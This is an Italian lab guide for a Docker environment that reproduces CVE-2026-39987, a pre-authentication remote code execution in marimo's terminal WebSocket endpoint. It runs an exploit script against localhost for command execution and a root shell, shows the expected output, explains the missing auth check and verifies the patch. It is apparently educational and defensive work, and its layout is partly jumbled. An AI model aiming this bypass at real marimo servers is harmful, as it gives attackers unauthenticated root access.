
# Laboratorio Docker educativo che dimostra CVE-2026-39987, una RCE pre-autenticazione tramite bypass dell'autenticazione WebSocket in marimo, con script di exploit e passaggi di verifica della patch.
Esecuzione Remota di Codice Pre-Autenticazione tramite Bypass dell'Autenticazione WebSocket del Terminale
Un lab Docker didattico per comprendere, riprodurre e correggere questa vulnerabilità critica in marimo.
| Obiettivo | marimo <= 0.20.4 in esecuzione in modalità edit con autenticazione tramite token abilitata |
| Attaccante | Qualsiasi host con Python 3 e websocket-client |
| Obiettivo | Ottenere una shell root interattiva tramite /terminal/ws senza fornire un token di autenticazione |
| Tipo | Bypass dell'Autenticazione → Esecuzione Remota di Codice (RCE) |
| Patch | marimo >= 0.23.0 |
⚠️ Solo per Uso Etico: Questo lab è progettato per ricercatori di sicurezza, sviluppatori e studenti per comprendere come si verificano le vulnerabilità di bypass dell'autenticazione e come correggerle correttamente. Eseguire solo in ambienti isolati.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Obiettivo) │ │ (Attaccante) │ │
│ │ Porta: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
File in questo lab:
| File | Scopo |
|---|---|
Dockerfile.target | Compila il server marimo vulnerabile |
docker-compose.yml |
# Clona il repository
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Avvia il lab
docker-compose up --build -d
# Esegui l'exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Ottieni una shell interattiva
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Crea una directory di lavoro e inserisci questi file al suo interno:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Build e avvio dell'obiettivo
docker-compose up --build -d
# Verifica che l'obiettivo sia in esecuzione
docker ps
# Dovresti vedere: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
Cosa succede:
0.20.4 (versione vulnerabile)edit con autenticazione --token esplicitamente abilitata2718 è esposta al tuo hostPrima di sfruttare la vulnerabilità, verifichiamo che l'obiettivo sia adeguatamente protetto sugli endpoint legittimi:
# Prova ad aprire l'interfaccia principale in un browser o tramite curl
curl -s http://127.0.0.1:2718/
# Previsto: Reindirizzamento alla pagina di login o 401/403 (token richiesto)
# Prova il WebSocket principale (/ws) senza token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Previsto: Connessione rifiutata o chiusa immediatamente a causa dell'autenticazione mancante
Osservazione Chiave: Gli endpoint principali dell'applicazione applicano correttamente l'autenticazione. La vulnerabilità risiede in un endpoint secondario che è stato trascurato.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Output previsto:
[+] Connessione a ws://127.0.0.1:2718/terminal/ws...
[+] Connesso! Nessuna autenticazione richiesta - WebSocket del Terminale accettato
[*] Esecuzione: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Otterrai un prompt $ dove potrai eseguire comandi di sistema arbitrari:
[+] Shell interattiva ottenuta! Digita 'exit' per uscire.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connessione chiusa.
La vulnerabilità esiste a causa di un controllo di autenticazione incoerente tra gli endpoint WebSocket:
┌─────────────────────────────────────────────────────────────────┐
│ Middleware di Autenticazione (Starlette) │
│ ├── Contrassegna le connessioni non autenticate come "UnauthenticatedUser" │
│ └── NON chiude automaticamente le connessioni WebSocket │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Principale)│ │ /terminal/ws │
│ │ │ (Terminale) │
│ ✓ validate_auth()│ │ ✗ NESSUN controllo auth │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rifiuta non auth│ │ ✓ Accetta immediatamente│
└──────────────────┘ └──────────────────┘
Middleware di autenticazione (Starlette AuthenticationMiddleware) contrassegna le connessioni non autenticate come UnauthenticatedUser ma non chiude automaticamente le connessioni WebSocket.
Endpoint corretti (es. /ws) chiamano validate_auth() o usano @requires("edit"), rifiutando i client non autenticati.
Endpoint vulnerabile (/terminal/ws) controlla solo:
SessionMode.EDIT — garantisce che il server sia in modalità editsupports_terminal() — garantisce che la funzionalità del terminale sia disponibileawait websocket.accept() senza alcun controllo di autenticazione.Impatto: pty.fork() genera una shell PTY completa in esecuzione come utente del server (root nell'immagine Docker predefinita), dando all'attaccante accesso completo al sistema.
La patch aggiunge una corretta validazione dell'autenticazione all'endpoint /terminal/ws, garantendo che corrisponda alla postura di sicurezza degli altri endpoint.
Aggiorna l'obiettivo alla versione patchata e riesegui l'exploit per confermare la correzione:
# Modifica Dockerfile.target: cambia marimo==0.20.4 in marimo==0.23.0
# Oppure usa: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Prova di nuovo l'exploit
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Previsto dopo la patch:
[+] Connessione a ws://127.0.0.1:2718/terminal/ws...
[-] Connessione fallita: Connessione rifiutata o autenticazione richiesta
La connessione ora viene rifiutata/chiusa immediatamente; nessuna shell viene ottenuta. ✅
# Ferma e rimuovi i container
docker-compose down -v
# Rimuovi l'immagine compilata
docker rmi cve-lab_target
# Pulisci eventuali immagini pendenti
docker image prune -f
Realizzato a scopo didattico. Usa in modo responsabile. 🔒
| Orchestra i container obiettivo e attaccante |
exploit.py | Script PoC dell'exploit (comando singolo + modalità interattiva) |
LAB_GUIDE.md | Questa guida |
| Problema | Soluzione |
|---|
Connessione rifiutata | Assicurati che il container sia in esecuzione: docker ps e controlla i log con docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Installa il client: pip install websocket-client |
| Nessun output dall'exploit | Aumenta il timeout: python exploit.py ... --timeout 20 |
| Il container esce immediatamente | Controlla la sintassi del Dockerfile e assicurati che il notebook test.py sia creato correttamente |
| Permesso negato | Assicurati che il daemon Docker sia in esecuzione e di avere i permessi appropriati |